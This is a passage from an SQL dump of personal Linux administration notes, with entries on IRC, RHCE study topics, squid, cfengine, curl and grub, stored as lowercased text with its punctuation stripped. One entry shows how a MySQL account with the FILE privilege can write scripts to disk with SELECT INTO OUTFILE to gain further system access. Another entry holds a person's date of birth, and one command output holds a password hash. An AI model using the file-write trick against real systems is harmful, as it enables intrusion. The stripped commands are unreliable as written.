time and predates other chat methods you may be familiar with such as aol or google or yahoo or msn messenger or facebook etc it is actually a great way to easily and instantly join any number of people together so they can chat it takes literally seconds think of it like this irc is just like walking into a room we all know where the room is if you go in the room and others are there we can all talk if there is no one there well - then you will be dancing with yourself so why use irc rather than other ways to chat benefits no registration or need to create an account it does not require people to worry about who uses what instant messaging service or what client they need to use no software required to install just a web browser you can use a fancy irc client but it is really not necessary you don\'t have to worry about adding the names of buddies to be able to see talk to them the chat room is created whenever you want just go there and the room is created as long as people are in the room you can talk with each other because if you use it you will be a very 31337 hax0r like on numb3rs haha how to use irc it is really super easy you can just point your browser to either of these two sites the first one is very basic and should work with any browser this next one is a bit fancier but you have to have java for it which you most likely do anyway just go to either one of these links for the nickname enter whatever name you want to go by you can always change it for the channel enter the name of the room you want to create or join for example nickname joeblow channel spcacg2021 if we all use that same room name we will all see each other and be able to interact its that simple more information more information more information follow the rules of proper irc etiquette see there are zillions of site out there on irc commands and such one such tutorial here sometimes you want to copy and paste in a bunch of information one way to do this is to use you can paste in a bunch of content there and it will give you a url you can then give others people can then go there to look at what you pasted if you are on campus you may find that irc is blocked schools love to block irc there are many ways to get around this and a good place to start is at '),(262,'sydney biscuit',' dob 05 13 1967 gift ideas '),(263,'rhce training notes',' epel epel epel automounts automounts automounts root server19 # cd net instructor rescue mode automount is created when an nfs server is specified at start up cd mnt source resuce environment chroot mnt sysimage export manpath usr share man xend and virt-install xend and virt-install xend and virt-install root station19 # virt-install -p -n vcracker -r 256 -f dev vol0 lv cracker -w network default -l -x ks root station19 # virt-install -p -n vcracker -r 256 -f dev vol0 lv cracker -w bridge xenbr0 -l -x ks enable auto starting of the vms with root station19 # virsh autostart vcracker config files for each auto starting dom-u are in etc xen auto console a vm virtsh consolve vmname escape for console session ctrl-shift-right bracket virtmanager logs to # tail root virt-manager virt-manager log you can also just vnc to the running vms directly bypassing the virt-manager tool if you like mon 08 feb 2010 11 21 07 virt-manager 16038 debug details 1217 graphics console configured at vnc 127 0 0 1 5901 console access to access grub on a vm start with as xm create -c vserver vncviewer 127 0 0 1 syslog syslog syslog etc sysconfig syslog add -r etc syslog conf add ip address to send to networking networking networking etc sysconfig network golbal gateway specified here interfaces may have their own gateway which takes precedence peerdns yes no will cause the dns server provided by the dhcp lease to be ignored ethtool_opts any device-specific options supported by ethtool for example if you wanted to force 100mb full duplex ethtool_opts speed 100 duplex full autoneg off note that changing speed or duplex settings almost always requires disabling autonegotiation with \'autoneg off\' ethernet channel bonding ethernet channel bonding ethernet channel bonding load bonding module in etc module conf alias bond 0 bonding configure the master slave interfaces in etc sysconfig network-scripts there will now be master slave ifcfg-bond0 etc proc net bon0 info initscripts options initscripts options initscripts options usr share doc initscripts-8 45 30 sysconfig txt specified options for init scripts networking etc as above #yum install kernel-docs vim usr share doc kernel-doc-2 6 18 documentation networking ip-sysctl txt add options to your etc syscontrl con and restart with sysctl -p partitions and filesystems partitions and filesystems partitions and filesystems partprobe dev sda will re-read block devices and repopulate proc partitions so the kernel is aware of it fdisk will see a new partition immediately on disk but you need to update proc for kernel awareness user accounts user accounts user accounts vim etc login defs controls password aging policies chage -d yyyy-mm-dd username sets date password last changed fix locked out account for user in joshua alex dax bryan zak ed; do chage -m 30 user; done #set the number of days to expire password for user in joshua alex dax bryan zak ed; do chage -d 2010-01-01 user; done #set the last login date for each password adding appending with -a a user to multiple supplementary groups root server19 data # usermod -a -g sales hr web student root server19 data # groups student student student sales hr web chmod g s sales chmod g s hr chmod g s web for user in joshua alex dax bryan zak ed; do su user -c \'touch depts sales hr web user\'; done for user in fred barney wilma betty; do usermod -a -g bedrock user; done autofs autofs autofs monitor directories and automatically mount nfs exports to local machine mount home directories locally when using central authentication models etc auto master set the top directory to monitor e g misc etc auto misc called from above set set\'s mappings linux -ro soft intr instructor example com var ftp pub you can now cd locally to misc linux and will see the contents of the nfs export or cd instructor example com will work too pam pam pam look in etc pam d to see what applications are pam aware documentation usr share doc pam-0 99 6 2 html linux-pam_sag html see chapter 6 reference guide for available modules note the modules services provided section for each module describes where it can be used cat etc securetty shows defined secure terminals which can be used with usr share doc pam-0 99 6 2 html sag-pam_securetty html to limit root access via secure terminals system-auth - system-auth-ac this is modified by system-config-authentication authconfig-tui which will overwrite it system-auth is commonly included in other definitions e g sudo vsftpd etc root station19 pam d # cat sudo # pam-1 0 auth include system-auth account include system-auth password include system-auth session optional pam_keyinit so revoke session required pam_limits so usr share doc pam-0 99 6 2 html sag-pam_nologin html causes etc nologin to prevent non-root logins etc nsswitch will be modified by changed to pam ldap system-config-auth etc restricting access man pam_listfile added this line to etc pam d system-auth-ac auth required pam_listfile so item user sense allow file etc pam d pamtest tail var log secure to monitor config issues setting up autofs root server19 pam d # getent passwd guest2015 guest2015 1 7hyhcqv2 irq78j usvaprwebjsqn71 2015 2015 home guests guest2015 bin bash root server19 pam d # showmount -e 192 168 0 254 home guests 192 168 0 0 255 255 255 0 add to etc auto master home guests etc auto guests create etc auto guests using shortcut symbols to map -rw soft intr 192 168 0 254 home guests & service autofs restart nis yptest -d notexample -h 192 168 0 254 resetting authconfig --disablenis --update ldap if using tls ensure you use the hostname in the ldap config not ip so that tls works correctly if the ip is used getent passwd will not return users but ldapsearch -x -z will work acl permissions acl permissions acl permissions setfacl -m u barney - shared lodge secretstuff setfacl -m u betty rw secretstuff file system quotas file system quotas file system quotas files in directory are created with default acl on directory edquota utility setquota shell tool quotacheck filesystems initializes database quota on filesystem to enable encryption and certificates encryption and certificates encryption and certificates reading a certificate openssl x509 -in example-ca crt -text less se linux se linux se linux man 8 selinux has grea see also references if logging enable se linux in permissive mode otherwise you will not get all the log messages system generates ps -z and ls -z to view se linux info getenforce setenforce for permissive enforcing disable requires a reboot to fully implement file_contexts selinux requires files to have an extended attribute to define the file type policy governs the access daemons have to these files selinux httpd policy is very flexible allowing users to setup their web services in as secure a method as possible contexts user role type sensitivity category viewing bools getsebool -a grep http might show a context httpd_enable_cgi -- on which you can view at man 8 httpd_selinux changing context chcon -r -t public_content_t mydata html does not persist across reboot use semanage viewing contexts semanage fcontext -l #shows all grep for what you want system-config-selinux changes are persistent monitor alerts and activity with se troubleshoot server yum install setroubleshoot-server start with sealert se linux test on ntpd service root station19 # getsebool -a grep ntp ntpd_disable_trans -- on root station19 # setsebool ntpd_disable_trans off root station19 # getsebool -a grep ntp ntpd_disable_trans -- off root station19 # service ntpd restart shutting down ntpd ok ntpd synchronizing with time server ok starting ntpd ok root station19 # ntpdc -c pe server reports data not found tail var log messages will show the se log message and will suggest running sealert -l 01b6ea7c-d28a-44f7-87d0-accc48f1569d which will show details of the violoation the file was moved thus the context labeling was not maintained and needs re-labeled with root station19 # restorecon -v \' etc ntp conf\' restorecon reset etc ntp conf context user_u object_r user_home_t s0- system_u object_r net_conf_t s0 netfilter iptables netfilter iptables netfilter iptables base config etc sysconfig iptables-config iptables -t filter nat mangle -a -i input forward output -s ip address -j drop reject log accept -f flushes rules but not policy set default policy will still exist -z zero bytes and counters -n your_chain_name -x your_chain_name there are tables filter nat mangle which include their own chains iptables -l -t filter iptables -l -t nat you can also to nat and pat with port ranges etc in the nat table connection tracking provides statefull inspection of both tcp and udp traffic states new established related invalid connections are stored in proc if an established connection is matched first no further checking is required kernel works harder and it takes more memory but checking chains chain traversal for remaining packets in same connection is faster saving restoring iptables-save iptables-restore output and input rules using std out service iptables saves save to etc sysconfig iptables will overwrite existing ipv6 ip6tables commands does not support -t nat yet disabling etc modprobe conf alias net-pf-10 off alian ipv6 off class-rules custom chain root server19 # cat root iptables # generated by iptables-save v1 3 5 on wed feb 10 13 47 00 2010 filter input accept 899 98116 forward accept 0 0 output accept 553 82445 class-rules - 0 0 -a input -j class-rules -a class-rules -i lo -j accept -a class-rules -p icmp -j accept -a class-rules -p udp --dport 631 -j accept -a class-rules -p tcp --dport 631 -j accept -a class-rules -m state --state established related -j accept -a class-rules -p tcp --dport 22 -s 192 168 0 0 24 -j accept -a class-rules -p udp --dport 69 -j accept -a class-rules -j log -a class-rules -j reject --reject-with icmp-host-prohibited commit # completed on wed feb 10 13 47 00 2010 tcp wrappers tcp wrappers tcp wrappers determining if application supports libwrap if the binary is dynamically linked root server19 # ldd which sendmail grep libwrap libwrap so 0 lib libwrap so 0 0x00dff000 if it is statically linked root server19 # strings which portmap grep hosts hosts_access_verbose hosts_allow_table hosts_deny_table etc hosts allow etc hosts deny hosts allow hosts deny etc hosts allow and etc hosts deny notes daemon_list client_list daemon_list - refers to the actual binary name not the service name - e g in tftp for the service tftp host specification use dotted quad netmask not cidr notation apache & squid apache & squid apache & squid root server19 html # semanage fcontext -l grep http root server19 html # getsebool -a grep http the bools listed above are defined in root server19 html # man -k selinux grep http httpd_selinux 8 - security enhanced linux policy for the httpd daemon vim etc squid squid conf set the http_access rules that call the acls # insert your own rule s here to allow access from your clients http_access deny otherguys http_access allow example # put the deny first define the acls #recommended minimum configuration acl connect method connect acl example src 192 168 0 0 24 acl otherguys dstdomain yahoo com acl otherguys dstdomain hotmail com bind nameserver bind nameserver bind nameserver default named conf comes with caching-nameserver package also install bind-chroot and set it up by running bind-chroot-admin -e then edit the named conf in var named chroot etc named conf or to use the non-chaching version of the sample named conf root server19 named # cp usr share doc bind-9 3 6 sample etc named conf var named chroot etc for class test need to add options forwarders 192 168 0 254; ; forward only; to flush the cache rndc flush service named configtest network file sharing network file sharing network file sharing vsftp configure the firewall with additional support for tracking ftp connections and allow connections to the ftp server 1 open etc sysconfig iptables-config in a text editor and modify the line iptables_modules to include ip_conntrack_ftp and ip_nat_ftp save your changes 2 open etc sysconfig iptables in a text editor and add the following line below the established related line -a class-rules -m state --state new -p tcp --dport 21 -j accept 3 save the file and reload the firewall root serverx # service iptables restart nfs uses portmap which is statically compiled against tcp wrappers so you can manganage ro sync root_squash root squash is enabled by default disable with no_root_squash option never use this etc init d netfs handles fstab mounts etc sysconfig nfs has ports for the various deamons etc exports example seen man 5 exports home nfstest example com rw sync root_squash nfs users and acls you can create the same username and uid on server and client then set an acl on the client directory being exported such as setfacl -m u nfstest rwx common callandor # getfacl common getfacl removing leading \' \' from absolute path names # file common # owner root # group nfstest user rwx user nfstest rwx group --- mask rwx other --- with this only the nfstest user will be able to access the directory and create files normally this user and uid would be handled via nis ldap etc virtualbox notes if using ip masquerading or nat in virtualbox you may need to specify the insecure option which will allow port 1024 to be used you can also try to use port forwarding using the vboxmanage utility described http www linuxjournal com content tech-tip-port-forwarding-virtualbox-vboxmanage here or just use host only networking rather than nat which should allow the virtual guest to mount nfs shares okay on the host additional information on networking and nfs from withing virtualbox see this https vb serverknecht de showthread php t 163127 article ports portmap uses 111 mountd statd lockd and rquotad can all be forced to use a static port in etc sysconfig nfs but then require various ports to be manually opened testing shares rpcinfo -p instructor example com showmount -e instructor example com locally exportfs -v samba ports 137 udp 138 udp 139 tcp 445 tcp system-config-samba samba-swat back up the config samba-swat will nuke it use testparm to check config of etc samba smb conf etc samba passdb tdb updated by smbpasswd -a user this will use an existing user account but create a completely separate smb password smbclient hostname share se linux ensure the directory and it it\'s parents have the needed contexts root server19 smbfiles # chcon -r -t samba_share_t shared smbfiles user_u object_r samba_share_t shared set nfs passwords for a group of users root server19 home # for user in karl joe mary jen root student;do echo adding user user to smbpassw file; smbpasswd -a user ; done search to find out what a bool does root server19 home # sesearch --allow -s smbd_t -c file -b allow_smbd_anon_write found 1 av rules allow smbd_t public_content_rw_t file ioctl read write create getattr setattr lock append unlink link rename ; check your config testparm mta config mta config mta config choosing your mta ls -l etc alternatives system-switch-mail alternatives script postfix etc postfix main cf postconf allows editing settings directly set inet_inerfaces all to listend on port 25 tcp on all ips set mydestingation perhaps set to myhostname set mynetworks 127 0 0 0 8 192 168 0 0 24 myorigin example com create and mx record to point mail to your server troubleshooting postqueue -p #displays status postqueue -f #flush attempt immediate deliver var log maillog etc aliases defines aliases must be hashed into etc aliases db format this is done by running newaliases or you can restart the mail service dovecot 110 tcp pop3 995 tcp pop3s 143 tcp imap 993 tcp impas procmail openssl make -c etc pki tls certs dovecot pem mutt -f pop imap user server port '),(264,'rhce class named conf',' root server19 # cat var named chroot etc named conf named caching-nameserver conf provided by red hat caching-nameserver package to configure the isc bind named 8 dns server as a caching only nameserver as a localhost dns resolver only see usr share doc bind sample for example named configuration files do not edit this file - use system-config-bind or an editor to create named conf - edits to this file will be lost on caching-nameserver package upgrade options forwarders 192 168 0 254; ; forward only; listen-on port 53 any; ; listen-on-v6 port 53 any; ; directory var named ; dump-file var named data cache_dump db ; statistics-file var named data named_stats txt ; memstatistics-file var named data named_mem_stats txt ; those options should be used carefully because they disable port randomization query-source port 53; query-source-v6 port 53; allow-query any; ; allow-query-cache any; ; ; logging channel default_debug file data named run ; severity dynamic; ; ; view public recursion yes; #include etc named rfc1912 zones ; zone example com in type slave; masters 192 168 0 254; ; file slaves example com zone ; forwarders ; ; ; '),(265,'pdflush tunables',' pdflush tunables this is a sneaky one that come up from time to time sometimes you will see messages showing up in var log messages or var log kern log indicating issues with the hard drive getting exceptions and resetting something like 176710 082557 ata5 01 exception emask 0x0 sact 0x0 serr 0x0 action 0x6 frozen 176710 082574 ata5 01 cmd a0 00 00 00 00 00 00 00 00 00 00 b0 tag 0 176710 082576 cdb 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 176710 082578 res 40 00 02 00 08 00 00 00 00 00 00 a0 emask 0x4 timeout 176710 082581 ata5 01 status drdy 176710 082603 ata5 soft resetting link or maybe sep 16 00 13 18 srv01 kernel 38923 847153 ata3 soft resetting link sep 16 00 13 18 srv01 kernel 38924 019129 ata3 00 configured for udma 100 sep 16 00 13 18 srv01 kernel 38924 019145 ata3 eh complete sep 16 00 13 18 srv01 kernel 38924 039830 sd 2 0 0 0 sdb 234493056 512-byte hardware sectors 120060 mb you can think it is a bad drive controller etc and wast a lot of time on this however it is possible this is just related to either a kernel bug or a matter of tuning a few page cache settings for example see also there is some useful information in comment 12 of this https bugs launchpad net ubuntu bug 270794 launchpad bug which recommends setting a few pdflush tunables in etc sysctl conf vm dirty_writeback_centisecs 200 vm dirty_expire_centisecs 400 you can also see change these values in proc as well #cat proc sys vm dirty_ _centisecs for additional information on these values and how clearing the memory cache works see http hi baidu com pkubuntu blog item d7413c01c8747b0b7bec2c9e html this article other reasons other reasons other reasons you can also try specifying libata force noncq as a kernel boot argument to see if that corrects the issue as suggest in this kernel trap http kerneltrap org mailarchive linux-kernel 2008 9 23 3387114 thread also for hard freezes you might find http www gossamer-threads com lists linux kernel 968016 this thread helpful of course the above does not preclude a bad drive and using smartctl hdparm bonnie and other tools is always a good idea and they should also be used when investigating drive error messages '),(266,'suse ldap server setup',' setting up an ldap server in suse is pretty straight forward you can then easily export home directories via nfs and set up the automouter on clients to auto mount ldap user home directories only when needed rather than mounting all of them on every client that connects ldap server instruction install the server and make the ous and users gui more basic setup info configure suse ldap client lots o\' additional suse ldap documentation nfs exports just install the nfs server export home exports in your etc exports this assumes you set the home directory of ldap users to home export callandor # cat etc exports home remote rw root_squash autofs client side configure the ldap client as above once you can authenticate then configure autofs to locally mount the nfs shared home user folder on demand simply install autofs and configure etc auto master and etc auto home add this line to etc auto master and create etc auto home containing '),(267,'powerpc linux distros',' many popular distros support the powerpc architecture so if you have an older mac g3 g4 g5 or a playstation you have a number of options for a full list see http penguinppc org about distributions php penguinppc yellow dog linux excellent site with long standing support for older mac hardware good tips for boot issues with macs openfirmware tips etc ubuntu debian although sarge is referred to on that page lenny for ppc is available for download booting the installer on ppc suse 11 1 is the last distro to support ppc g4 quicksilver g4 quicksilver g4 quicksilver network booting the install files note you can also place the files on a local dist and boot the kernel from openfirmware also if you have an external usb you can usually boot to it from open firmware '),(268,'openssh tricks',' frozen ssh session end the connection and return to the parent shell with enter that is enter then tilda then period '),(269,'squid cache',' http wiki squid-cache org squidfaq squidlogs#squid_result_codes result codes are handy to have the faq is http wiki squid-cache org squidfaq here basic setup and config basic setup and config basic setup and config general centos setup guide official config guide and another general setup guide here how to do stuff in squid how to do stuff in squid how to do stuff in squid how can i make squid not cache some servers or urls from squid-2 6 you use the cache option to specify uncachable requests and any exceptions to your cachable rules for example this makes all responses from origin servers in the 10 0 1 0 24 network uncachable acl localnet dst 10 0 1 0 24 cache deny localnet this example makes all url url\'s with \' html\' uncachable acl html url_regex html cache deny html this example makes a specific url uncachable acl xyzzy url_regex cache deny xyzzy this example caches nothing between the hours of 8am to 11am acl morning time 08 00-11 00 cache deny morning squid tweaks squid tweaks squid tweaks x-forward-for how to make squid not cache a page or server is covered http wiki squid-cache org squidfaq operatingsquid#how_can_i_make_squid_not_cache_some_servers_or_urls 3f here other resources other resources other resources another very hand fact with some examples is http www bec at support squid users-guide x922 html here print only timing information using the squid client cache1 usr local squid bin client -g 0 -h www squid-cache com -p 80 '),(270,'cfengine installation',' install caveats test servers 208 38 164 20 -21 when trying to follow the tutorial at the steps result in an error missing failsafe cf as the config files have not yet been copied over and running with only an empty promises cf will not work when installing from the rpm the basic cf files you need to get rolling are not located where the cf3 tutorial says they are perhaps the guide assumes the tar gz version was used cf-s tutorial states host# mkdir -p var cfengine masterfiles host# cp usr local share cfengine cf var cfengine masterfiles in the rpm version you will fine the base config files named unit_blah cf in cp usr local share doc cfengine cf var cfengine masterfiles once these are copied over then copy over the basic input files cp usr local share doc cfengine inputs var cfengine inputs this will copy over the follwoing failsafe cf library cf promises cf site cf update cf once you run cf-agent -v it will look at the bundle which in this case contains a promise to update so when run it will pull the files from the policy distribution point var cfengine masterfiles into the inputs directory adding the 180 files you previous copied into the masterfiles directory starting cfengine starting cfengine starting cfengine binaries will be in var cfengine bin and and init script to start the service will be available etc init d cfengine3 netstat should show the server running on port 5308 tcp 0 0 5308 listen 1871 cf-serverd first promises first promises first promises root cfengine inputs # cf-agent -f testroot cf -i can\'t stat file var cfengine inputs cfengine_stdlib cf for parsing system error for stat no such file or directory cf-agent was not able to get confirmation of promises from cf-promises so going to failsafe as the standard library file was not found it consults failsafe cf which then runs update cf now run the test promise bundle root cfengine inputs # cf-agent -f testroot cf -i - setting field sub-value xyajd673j ajhfu in tmp shadow - edited field inside file object tmp shadow - saving edit changes to file tmp shadow cf-promise you can validate the sytax of a promise with cf-promise cf-promises -f test cf also use cf-promise -v for a report showing hard classes cfengine client cfengine client cfengine client run an update paracelsus callandor downloads var wscfengine bin cfagent -v get info paracelsus callandor downloads usr wscfengine sbin cfshow -v last seen paracelsus callandor downloads sudo usr wscfengine sbin cfshow -s ip skynet1 someplace com 10 20 30 40 tue sep 14 08 18 not seen for 0 13 hrs av 0 22 - 0 50 hrs vim highlighting vim highlighting vim highlighting there are a couple vim syntax files available for cfengine here is a newer one for cf3 and there is another one older but still looks pretty good place them into your vim syntax directory maybe something like usr share vim vim70 syntax enable it in vim with syntax enable or if that does not do the trick source vimruntime syntax cf3 vim you can add this to etc vimrc to have in enabled automatically source vimruntime syntax cf3 vim read more about vim syntax highlighting and configuration http vimdoc sourceforge net htmldoc syntax html here all about promises all about promises all about promises additional cf engine sites additional cf engine sites additional cf engine sites '),(271,'sydney notebook specs',' information on the intel core i3 and i5 architecture various tiger direct notbooks including some i3 and i5 ones acer aspire a180-15651 and a180-15652 - these both have hdmi bluetooth 15 6 inch widescreen crystalclear ddr3 1066 4gb 8gb max 2 slots 6 cell battery 4 hours 6 16 pounds the 128mb intel graphics media accelerator hd is enough for cs4 per and also see amds cs4 and linux '),(272,'curl notes and tricks',' super great intro to curl is note that you need to specify the returntransfer option to get the full results returned rather than a simple bool value a complete example would be php curl curl_init ; curl_setopt curl curlopt_url ; curl_setopt curl curlopt_returntransfer 1 ; result curl_exec curl ; curl_close curl ; print result; a good article on http scripting with curl can be found here another article with additional info on curl options is here '),(273,'applied ethics',' chapter6 non-consequential ethical theories socrates morality laws rules standards of conduct etc ethics study of morality '),(274,'twitcurl library',' here is just a big old mess of notes on what i did to get this to compile - before learning there is a makefile in the branches svn tree paracelsus anduril twitcurl-read-only gcc -o twitcurl twitcurl cpp paracelsus anduril twitcurl-read-only gcc -o twitcurl twitcurl cpp in file included from twitcurl h 5 from twitcurl cpp 1 curl curl h 35 61 error curl curlbuild h no such file or directory in file included from curl curl h 36 from twitcurl h 5 from twitcurl cpp 1 curl curlrules h 80 4 error #error curl_sizeof_long definition is missing curl curlrules h 85 4 error #error curl_typeof_curl_off_t definition is missing curl curlrules h 90 4 error #error curl_format_curl_off_t definition is missing curl curlrules h 95 4 error #error curl_format_curl_off_tu definition is missing curl curlrules h 100 4 error #error curl_format_off_t definition is missing curl curlrules h 105 4 error #error curl_sizeof_curl_off_t definition is missing curl curlrules h 110 4 error #error curl_suffix_curl_off_t definition is missing curl curlrules h 115 4 error #error curl_suffix_curl_off_tu definition is missing in file included from curl curl h 36 from twitcurl h 5 from twitcurl cpp 1 curl curlrules h 81 error u8e28098erroru8e28099 does not name a type curl curlrules h 144 error u8e28098curl_off_tu8e28099 was not declared in this scope curl curlrules h 144 error u8e28098curl_sizeof_curl_off_tu8e28099 was not declared in this scope curl curlrules h 154 error u8e28098curl_off_tu8e28099 was not declared in this scope in file included from twitcurl h 5 from twitcurl cpp 1 curl curl h 196 error u8e28098curl_off_tu8e28099 has not been declared twitcurl cpp in member function u8e28098void twitcurl clearcurlcallbackbuffers u8e28099 twitcurl cpp 1335 error u8e28098memsetu8e28099 was not declared in this scope paracelsus anduril twitcurl-read-only gcc -i home paracelsus twitcurl-read-only -o twitcurl twitcurl cpp twitcurl cpp in member function u8e28098void twitcurl clearcurlcallbackbuffers u8e28099 twitcurl cpp 1335 error u8e28098memsetu8e28099 was not declared in this scope paracelsus anduril twitcurl-read-only vim 1335 twitcurl cpp link erros paracelsus anduril twitcurl-read-only g -i home paracelsus twitcurl-read-only -o twitcurl twitcurl cpp usr lib gcc i486-linux-gnu 4 4 1 lib crt1 o in function _start\' build buildd eglibc-2 10 1 csu sysdeps i386 elf start s 115 undefined reference to main\' tmp ccms7q19 o in function twitcurl twitcurl \' twitcurl cpp text 0x26e undefined reference to curl_easy_init\' tmp ccms7q19 o in function twitcurl twitcurl \' twitcurl cpp text 0x628 undefined reference to curl_easy_init\' tmp ccms7q19 o in function twitcurl twitcurl \' twitcurl cpp text 0x78e undefined reference to curl_easy_cleanup\' tmp ccms7q19 o in function twitcurl twitcurl \' twitcurl cpp text 0x8f4 undefined reference to curl_easy_cleanup\' tmp ccms7q19 o in function twitcurl preparecurlproxy \' twitcurl cpp text 0x2a68 undefined reference to curl_easy_setopt\' twitcurl cpp text 0x2a85 undefined reference to curl_easy_setopt\' twitcurl cpp text 0x2b96 undefined reference to curl_easy_setopt\' twitcurl cpp text 0x2bba undefined reference to curl_easy_setopt\' twitcurl cpp text 0x2bd7 undefined reference to curl_easy_setopt\' need to tell linker to user curl http curl haxx se mail lib-2009-08 0286 html sudo apt-get install libcurl4-gnutls-dev paracelsus anduril twitcurl-read-only g -lcurl -i home paracelsus twitcurl-read-only -o twitcurl twitcurl cpp usr lib gcc i486-linux-gnu 4 4 1 lib crt1 o in function _start\' build buildd eglibc-2 10 1 csu sysdeps i386 elf start s 115 undefined reference to main\' collect2 ld returned 1 exit status eglibc problem sudo apt-get install eglibc-source http curl haxx se cvs cgi curl include curl curl h r1 1 392&r2 1 393 g -shared -wl -soname lib-blah so 1 -lcurl -i home paracelsus twitcurl-read-only -o twitcurl so 1 0 twitcurl cpp '),(275,'opensolaris aspire grub settings',' i have the kernel and initrd for my ubuntu linux distro on an sd card on my primary sdd which runs solaris this way i boot the kernel and initrd off the hard drive then point the root directory to the cd card the initrd has the drivers added into it for supporting the sd slots and thus must be booted from the hard drive first script to perform solaris post install config steps including downloading the kernel and initrd is at vegablue solarisnetbook cat rpool boot grub menu lst splashimage boot grub splash xpm gz background 215eca timeout 30 default 0 title ubuntu sd card2 #uuid 9b4f86a4-efa7-4a00-83c4-705c7d0b3a19 findroot pool_rpool 0 a kernel boot vmlinuz-2 6 27-8-eeepc ro root uuid c06eb7aa-5cc1-4045-8fec-ed4af16fef15 vga 0x311 loglevel 1 console tty1 initrd boot initrd img-2 6 27-8-eeepc quiet #---------- added by bootadm - do not edit ---------- title korona 0 0 1 findroot pool_rpool 0 a bootfs rpool root opensolaris splashimage boot solaris xpm foreground d25f00 background 115d93 kernel platform i86pc kernel isadir unix -b zfs-bootfs console graphics module platform i86pc isadir boot_archive #---------------------end bootadm------------------ title xvm findroot pool_rpool 0 a bootfs rpool root opensolaris splashimage boot solaris xpm foreground d25f00 background 115d93 kernel platform i86pv kernel isadir unix -b zfs-bootfs console graphics module platform i86pc isadir boot_archive # '),(276,'creating files with mysql',' inspired from an article in linux pro magazine sept 2009 breaking in the following little experiment may be of interest if you have access as a mysql user you may be able to create files with arbitrary content this is not really a hack so much as a documented feature of the select command and the mysql security scheme addresses this however it does illustrate how an unsecured mysql account can easily be used to gain further access on a system and how often have you seen a mysql instance with no root password set exactly this requires that the mysql user be granted the global file privilege though so you will likely have to set this permission as the root mysql user or use the root mysql account directly the point however is that if this can be accomplished you may be able to create a script in any directory which mysql can right to tmp var lib mysql etc and of course if mysql is running as root then you could theoretically create a script anywhere of course users have a silly habit of making odd directories 777 as well the required mysql user permissions would be something like mysql show grants; -------------------------------------------------------------- grants for paracelsus localhost -------------------------------------------------------------- grant file on to \'paracelsus \'localhost\' grant all privileges on hack to \'paracelsus \'localhost\' -------------------------------------------------------------- 2 rows in set 0 00 sec note the file permissions is a global and not specific to any database you could then do something such as mysql create database hack; query ok 1 row affected 0 00 sec mysql create table hack scripts contents text not null engine myiasm; mysql insert into hack scripts contents values \'# bin bash n hello there my pretty \' ; mysql select into outfile tmp bad sh from scripts where 1; query ok 1 row affected 0 01 sec if you want to insert special characters into the script you may need to play around with fields escaped by in the insert as described here and discussed select into outfile tmp bad sh fields escaped by from scripts where 1; '),(277,'debugging kde applications',' sample to determine what debug libraries are needed to get debugging symbols a thread on how to install plasma debug symbols and be found here paracelsus anduril which konsole usr bin konsole paracelsus anduril dpkg -s usr bin konsole package usr bin konsole\' is not installed and no info is available use dpkg --info dpkg-deb --info to examine archive files and dpkg --contents dpkg-deb --contents to list their contents paracelsus anduril dpkg -s usr bin konsole konsole usr bin konsole paracelsus anduril dpkg -s konsole package konsole status install ok installed priority optional section kde installed-size 1396 maintainer kubuntu developers architecture i386 source kdebase version 4 4 3 2-0ubuntu3 replaces konsole-kde4 provides x-terminal-emulator depends kdebase-runtime 4 4 3 2 kdelibs5 4 4 3 2 libc6 2 4 libqt4-dbus 4 5 1 libqtcore4 4 5 1 libqtgui4 4 5 1 libstdc 6 4 4 0 libx11-6 libxrender1 conflicts konsole-kde4 description x terminal emulator for kde 4 konsole is the kde 4 terminal emulator it can contain multiple terminal sessions inside one window using detachable tabs konsole supports powerful terminal features such as customizable schemes saved sessions and output monitoring this package is part of the kde 4 base applications module homepage original-maintainer debian qt kde maintainers paracelsus anduril sudo apt-get install kdelibs5-dbg kdebase-dbg libx11-6-dbg libxrender1-dbg reading package lists done building dependency tree reading state information done the following extra packages will be installed kdebase-runtime-dbg kdepimlibs-dbg libqt4-dbg the following new packages will be installed kdebase-dbg kdebase-runtime-dbg kdelibs5-dbg kdepimlibs-dbg libqt4-dbg libx11-6-dbg libxrender1-dbg 0 upgraded 7 newly installed 0 to remove and 7 not upgraded need to get 136mb of archives after this operation 707mb of additional disk space will be used do you want to continue y n now run the application in gdb gnu gdb gdb 7 0-ubuntu copyright c 2009 free software foundation inc license gplv3 gnu gpl version 3 or later this is free software you are free to change and redistribute it there is no warranty to the extent permitted by law type show copying and show warranty for details this gdb was configured as i486-linux-gnu for bug reporting instructions please see reading symbols from usr bin konsole reading symbols from usr lib debug usr bin konsole done no debugging symbols found done '),(278,'steampunk sites',' massive index of various sites really cool cg animations from this contest steampunk places in second life '),(279,'gnaural binaural audio',' the home page for gnaural will get you started and you can get some sample sound files here '),(280,'apache vhost stuff',' debian setting up ssl and vhosts in debian is described in the following articles debian use a2 commands to enable and disable sites and apache modules '),(281,'nvidia suse config',' nvidia-xcongig --composite nvidia-xconfig --render-accel nividia-xconfig --add-argb-glx-visuals d24 # nvidia-xconfig x configuration file generated by nvidia-xconfig # nvidia-xconfig version 1 0 buildmeister builder63 mon mar 2 12 45 55 pst 2009 # # sax generated x11 config file # created on 2009-03-12t18 34 23-0400 # # version 8 1 # contact marcus schaefer 2005 # contact sax-user list # # automatically generated by isax 8 1 # please do not edit this file # section serverlayout identifier layout all screen screen 0 0 0 inputdevice keyboard 0 corekeyboard inputdevice mouse 1 corepointer option clone off option xinerama off endsection section files inputdevices dev gpmdata inputdevices dev input mice fontpath usr share fonts misc unscaled fontpath usr share fonts local fontpath usr share fonts 75dpi unscaled fontpath usr share fonts 100dpi unscaled fontpath usr share fonts type1 fontpath usr share fonts urw fontpath usr share fonts speedo fontpath usr share fonts pex fontpath usr share fonts cyrillic fontpath usr share fonts latin2 misc unscaled fontpath usr share fonts latin2 75dpi unscaled fontpath usr share fonts latin2 100dpi unscaled fontpath usr share fonts latin2 type1 fontpath usr share fonts latin7 75dpi unscaled fontpath usr share fonts baekmuk unscaled fontpath usr share fonts japanese unscaled fontpath usr share fonts kwintv fontpath usr share fonts truetype fontpath usr share fonts uni unscaled fontpath usr share fonts cid fontpath usr share fonts ucs misc unscaled fontpath usr share fonts ucs 75dpi unscaled fontpath usr share fonts ucs 100dpi unscaled fontpath usr share fonts hellas misc unscaled fontpath usr share fonts hellas 75dpi unscaled fontpath usr share fonts hellas 100dpi unscaled fontpath usr share fonts hellas type1 fontpath usr share fonts misc sgi unscaled fontpath usr share fonts xtest fontpath opt kde3 share fonts endsection section module load freetype load glx load dbe load extmod endsection section serverflags option allowmouseopenfail on option zapwarning on endsection section 